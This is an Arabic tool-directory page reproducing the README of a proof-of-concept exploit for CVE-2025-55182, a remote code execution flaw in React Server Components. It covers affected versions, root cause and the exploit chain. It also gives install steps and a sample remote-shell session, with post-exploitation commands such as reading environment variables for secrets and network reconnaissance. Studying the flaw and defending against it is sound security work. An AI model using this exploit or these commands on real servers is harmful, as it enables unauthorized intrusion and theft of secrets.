Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-55182 — إثبات المفهوم لاستغلال CVE-2025-55182، وهو ثغرة تنفيذ تعليمات برمجية عن بعد (RCE) خطيرة غير مصادق عليها في مكونات خادم React. يتضمن استغلال Python آلي، تحليل تقني، قواعد كشف، وإعداد بيئة مختبر لاختبارات أمنية مرخصة. | Kitploit
أدوات/GitHubGitHub/tinashelorenzi/cve-2025-55182
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقكشف التسللالتعلم والتعليمالفريق الأحمرتطوير الحمولاتمختبرات وتدريب عملي
GitHubtinashelorenzi/cve-2025-55182

CVE-2025-55182

إثبات المفهوم لاستغلال CVE-2025-55182، وهو ثغرة تنفيذ تعليمات برمجية عن بعد (RCE) خطيرة غير مصادق عليها في مكونات خادم React. يتضمن استغلال Python آلي، تحليل تقني، قواعد كشف، وإعداد بيئة مختبر لاختبارات أمنية مرخصة.

عرض المستودع
29منذ 10 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

React2Shell (CVE-2025-55182) - إثبات المفهوم

استغلال شامل لإثبات المفهوم ومورد تعليمي لـ CVE-2025-55182، وهو ثغرة حرجة لتنفيذ التعليمات البرمجية عن بُعد تؤثر على مكونات خادم React (React Server Components) بدرجة CVSS تبلغ 10.0.

Python Version License CVSS

إخلاء مسؤولية قانوني

لأغراض التعليم والاختبار المصرح به فقط

هذه الأداة مقدمة لأغراض تعليمية واختبار أمني مصرح به فقط. الوصول غير المصرح به إلى أنظمة الحاسوب غير قانوني بموجب قوانين مختلفة بما في ذلك قانون الاحتيال وإساءة استخدام الحاسوب (CFAA) في الولايات المتحدة وتشريعات مماثلة في جميع أنحاء العالم.

يجب عليك:

  • استخدام هذه الأداة فقط على الأنظمة التي تمتلكها أو لديك إذن كتابي صريح لاختبارها
  • الامتثال لجميع القوانين المحلية والولائية والفيدرالية المعمول بها
  • استخدام هذه الأداة بمسؤولية وأخلاقية

المؤلف والمساهمون:

  • ليسوا مسؤولين عن أي سوء استخدام أو ضرر ناتج عن هذه الأداة
  • لا يؤيدون أو يشجعون الوصول غير المصرح به إلى أنظمة الحاسوب
  • يقدمون هذه الأداة بدقة لأغراض تعليمية وأمنية دفاعية

باستخدام هذه الأداة، فإنك تقر بأنك تفهم وتوافق على هذه الشروط.

📋 جدول المحتويات

  • نظرة عامة
  • تفاصيل الثغرة
  • الإصدارات المتأثرة
  • تحليل تقني
  • التثبيت
  • الاستخدام
  • الكشف
  • الإصلاح
  • إعداد بيئة المختبر
  • المراجع
  • المساهمة
  • المؤلف

🎯 نظرة عامة

React2Shell هي ثغرة حرجة تم اكتشافها في ديسمبر 2025 تؤثر على مكونات خادم React (RSC) والأطر التي تنفذها، وخاصة Next.js. تسمح الثغرة بـ تنفيذ تعليمات برمجية عن بُعد بدون مصادقة من خلال طلب HTTP واحد معد بعناية.

يحتوي هذا المستودع على:

  • ✅ سكربت استغلال آلي بلغة Python
  • ✅ تحليل تقني مفصل
  • ✅ قواعد كشف (Snort, OSQuery)
  • ✅ دليل إعداد بيئة مختبر
  • ✅ توثيق شامل

🔍 تفاصيل الثغرة

الحقلالتفاصيل
معرف CVECVE-2025-55182
درجة CVSS10.0 (حرجة)
متجه الهجومشبكة
تعقيد الهجوممنخفض
الصلاحيات المطلوبةلا شيء
تفاعل المستخدملا شيء
التأثيراختراق كامل للنظام (RCE)
تاريخ الإفصاحديسمبر 2025

ما الذي يجعلها حرجة؟

  1. لا تتطلب مصادقة - يمكن استغلالها من قبل أي مهاجم غير مصادق
  2. التكوينات الافتراضية ضعيفة - تطبيقات Next.js القياسية التي تم إنشاؤها باستخدام create-next-app قابلة للاستغلال
  3. موثوقية عالية - نسبة نجاح استغلال قريبة من 100%
  4. سطح هجوم واسع - أكثر من 571,000 خادم عام يشغل مكونات React (بيانات Shodan)
  5. تأثير شديد - تنفيذ تعليمات برمجية عن بُعد كامل بصلاحيات عملية Node.js

📦 الإصدارات المتأثرة

مكونات خادم React

الإصدارات الضعيفة:

  • react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-parcel: 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-turbopack: 19.0.0, 19.1.0, 19.1.1, 19.2.0

الإصدارات المصححة:

  • React 19.0.1
  • React 19.1.2
  • React 19.2.1

Next.js

الإصدارات الضعيفة:

  • جميع الإصدارات ≥14.3.0-canary.77
  • جميع إصدارات 15.x (قبل التصحيح)
  • جميع إصدارات 16.x (قبل التصحيح)

الإصدارات المصححة:

  • تحقق من إصدارات Next.js للحصول على الإصدارات المحدثة التي تتضمن تصحيحات React

الأطر الأخرى المتأثرة

  • React Router (عند استخدام وضع RSC)
  • Waku
  • Redwood SDK
  • العديد من الأطر الممكّنة لـ RSC

🔬 تحليل تقني

السبب الجذري

توجد الثغرة في دالة requireModule داخل منطق إزالة التسلسل لمكونات خادم React:

function requireModule(metadata) {  
  var moduleExports = __webpack_require__(metadata[0]);  
  return moduleExports[metadata[2]];  // VULNERABLE LINE - Prototype chain traversal
}

يسمح العطل للمهاجمين باجتياز سلسلة النموذج الأولي (prototype chain) لجافا سكريبت من خلال بروتوكول React Flight، والوصول إلى منشئ Function عبر خصائص مثل constructor.constructor، مما يتيح تنفيذ تعليمات برمجية عشوائية.

سلسلة الاستغلال

  1. إنشاء قطعة مزيفة (Fake Chunk) - يرسل المهاجم بيانات نموذج متعددة الأجزاء مع كائن قطعة معد
  2. تلوث النموذج الأولي (Prototype Pollution) - يستغل __proto__ لإنشاء هيكل مرجعي ذاتي
  3. إساءة استخدام معالج Blob - يؤدي إلى تشغيل معالج إزالة التسلسل الداخلي لـ Blob في React
  4. الوصول إلى منشئ الدوال - يتسلسل عبر constructor.constructor للوصول إلى Function()
  5. تنفيذ التعليمات البرمجية - يحقن جافا سكريبت عشوائية عبر child_process.execSync()

مخطط تدفق الهجوم

┌─────────────────────────────────────────────────────────────┐
│  يرسل المهاجم بيانات نموذج متعددة الأجزاء مع رأس Next-Action │
└──────────────────────┬──────────────────────────────────────┘
                       │
                       ▼
┌─────────────────────────────────────────────────────────────┐
│  يقوم الخادم بإزالة تسلسل الحمولة عبر بروتوكول React Flight │
└──────────────────────┬──────────────────────────────────────┘
                       │
                       ▼
┌─────────────────────────────────────────────────────────────┐
│  تتم معالجة كائن قطعة مزيف مع تلوث __proto__               │
└──────────────────────┬──────────────────────────────────────┘
                       │
                       ▼
┌─────────────────────────────────────────────────────────────┐
│  يستدعي معالج Blob الدالة _formData.get(_prefix + id)      │
└──────────────────────┬──────────────────────────────────────┘
                       │
                       ▼
┌─────────────────────────────────────────────────────────────┐
│  يحل إلى Function("malicious_code")                         │
└──────────────────────┬──────────────────────────────────────┘
                       │
                       ▼
┌─────────────────────────────────────────────────────────────┐
│  يتم تنفيذ تعليمات برمجية عشوائية بصلاحيات عملية Node.js   │
└─────────────────────────────────────────────────────────────┘

🚀 التثبيت

المتطلبات

  • Python 3.7 أو أعلى
  • مكتبة requests

الإعداد

# استنساخ المستودع
git clone https://github.com/yourusername/react2shell-poc.git
cd react2shell-poc

# تثبيت التبعيات
pip install -r requirements.txt

# جعل السكربت قابلاً للتنفيذ (لينكس/ماك)
chmod +x react2shell.py

ملف requirements.txt

requests>=2.31.0
urllib3>=2.0.0

💻 الاستخدام

الاستخدام الأساسي

python3 react2shell.py

الجلسة التفاعلية

╔═══════════════════════════════════════════════════════════╗
║           React2Shell (CVE-2025-55182) PoC                ║
║                 CVSS 10.0 - Critical RCE                  ║
║                                                           ║
║  المتأثر: React 19.0.0, 19.1.0, 19.1.1, 19.2.0          ║
║           Next.js ≥14.3.0-canary.77, 15.x, 16.x          ║
║                                                           ║
║  Cerberus Secure - للاستخدام المختبري فقط                ║
╚═══════════════════════════════════════════════════════════╝

[?] أدخل معلومات الهدف:
    Host (مثل localhost أو 192.168.1.100): localhost
    Port (مثل 3000): 3000

[React2Shell]> id
[*] الهدف: http://localhost:3000/
[*] الأمر: id
[*] بناء حمولة الاستغلال...
[*] إرسال طلب الاستغلال...
[+] رمز حالة الاستجابة: 200
[*] تحليل الاستجابة...

╔═══════════════════════════════════════════════════════════╗
║                    مخرجات الأمر                           ║
╚═══════════════════════════════════════════════════════════╝
uid=1000(node) gid=1000(node) groups=1000(node)

[React2Shell]> whoami
[React2Shell]> pwd
[React2Shell]> ls -la
[React2Shell]> exit

أمثلة على الأوامر

# استطلاع النظام
[React2Shell]> id
[React2Shell]> whoami
[React2Shell]> uname -a
[React2Shell]> cat /etc/os-release

# استكشاف نظام الملفات
[React2Shell]> pwd
[React2Shell]> ls -la
[React2Shell]> cat package.json

# متغيرات البيئة (غالبًا تحتوي على أسرار)
[React2Shell]> printenv
[React2Shell]> echo $PATH

# معلومات الشبكة
[React2Shell]> ifconfig
[React2Shell]> netstat -tulpn

الأوامر المتاحة

تنزيل الأداة